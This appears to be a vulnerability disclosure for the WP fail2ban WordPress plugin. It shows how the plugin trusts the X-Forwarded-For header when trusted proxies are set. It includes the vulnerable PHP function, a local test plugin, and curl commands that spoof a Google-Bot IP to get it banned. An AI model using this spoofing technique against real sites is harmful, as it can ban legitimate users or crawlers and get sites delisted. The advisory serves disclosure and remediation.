Affected plugin | WP fail2ban |
Active installs | 70.000+ |
Vulnerable version | <= 4.4.0.6 |
Audited version | 4.4.0.6 |
Fully patched version | – |
Recommended remediation | Removal of the plugin |
Description
The plugin is vulnerable to IP spoofing if the user uses the trusted proxies functionality in the plugin. An attacker can exploit this by banning search engine crawlers, the site’s reverse proxy, or legitimate users at the fail2ban level.
Proof of concept
The plugin uses the “org\lecklider\charles\wordpress\wp_fail2ban\remote_addr” function everywhere it needs access to current client IP address.
function remote_addr(): ?string
{
static $remote_addr = null;
/**
* @since 4.0.0
*/
if (is_null($remote_addr)) {
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
$ip = ip2long($_SERVER['REMOTE_ADDR']);
$proxies = [];
/**
* User-defined proxies, typically upstream nginx
*/
if (defined('WP_FAIL2BAN_PROXIES') && !empty(WP_FAIL2BAN_PROXIES)) {
/**
* PHP 7 lets you define an array
* @since 3.5.4
*/
$proxies = (is_array(WP_FAIL2BAN_PROXIES))
? WP_FAIL2BAN_PROXIES
: explode(',', WP_FAIL2BAN_PROXIES);
}
$proxies = apply_filters(__METHOD__, $proxies);
if (ip_in_range($ip, $proxies)) {
return (false === ($len = strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',')))
? $_SERVER['HTTP_X_FORWARDED_FOR']
: substr($_SERVER['HTTP_X_FORWARDED_FOR'], 0, $len);
}
}
/**
* For plugins and themes that anonymise requests
* @since 3.6.0
*/
$remote_addr = (defined('WP_FAIL2BAN_REMOTE_ADDR'))
? WP_FAIL2BAN_REMOTE_ADDR
: $_SERVER['REMOTE_ADDR'];
}
return $remote_addr;
}
By default, this function will return the REMOTE_ADDR, which is a good thing as it can not be spoofed by an attacker.
However, as soon as a user of the plugin makes use of the “trusted proxies” functionality, this method will be vulnerable to IP spoofing as it starts reading the IP from the untrusted X-Forwarded-For header. (Lines 23-28 above)
To verify this, create the following must-use plugin on a local WordPress installation. It emulates the behaviour of a load balancer and hardcodes the IP addresses so that test results can be reproduced locally.
<?php
declare(strict_types=1);
// wp-content/mu-plugins/ip.php
use function org\lecklider\charles\wordpress\wp_fail2ban\remote_addr;
/**
* This here simulates the default behaviour behind a load balancer or reverse proxy.
*/
$load_balancer_ip = '94.13.143.115';
$real_ip = '58.70.238.164';
$_SERVER['REMOTE_ADDR'] = $load_balancer_ip;
/**
* We trust our load balancer
*/
define('WP_FAIL2BAN_PROXIES', [$load_balancer_ip]);
/**
* This is how a load balancer will create the header. Always appending to the right.
* Not doing so would validate the HTTP spec.
*/
if(empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['HTTP_X_FORWARDED_FOR'] = $real_ip;
}else {
$_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR']. ','. $real_ip;
}
if(!isset($_SERVER['HTTP_TEST_IP'])) {
return;
}
add_action('plugins_loaded', function (){
echo remote_addr();
echo "\n";
die();
});
Now, run the following curl commands:
curl -X GET https://site.test -H "TEST-IP: 1"
58.70.238.164 # This IP is correct
Now:
curl -X GET https://site.test -H "TEST-IP: 1" -H "X-Forwarded-For: 66.249.66.67"
66.249.66.67 # Spoofed IP
We just spoofed the IP address of Google-Bot, and the plugin will ban it using fail2ban, which will get the target site delisted in Google.
Proposed patch
This is described in great length in this article of us.
Summary: Only ever use REMOTE_ADDR to access to current IP.
Timeline
Vendor contacted | September 11, 2022 |
First Response | – |
Fully patched at | – |
Publicly disclosed | April 24, 2023 |
Leave a Reply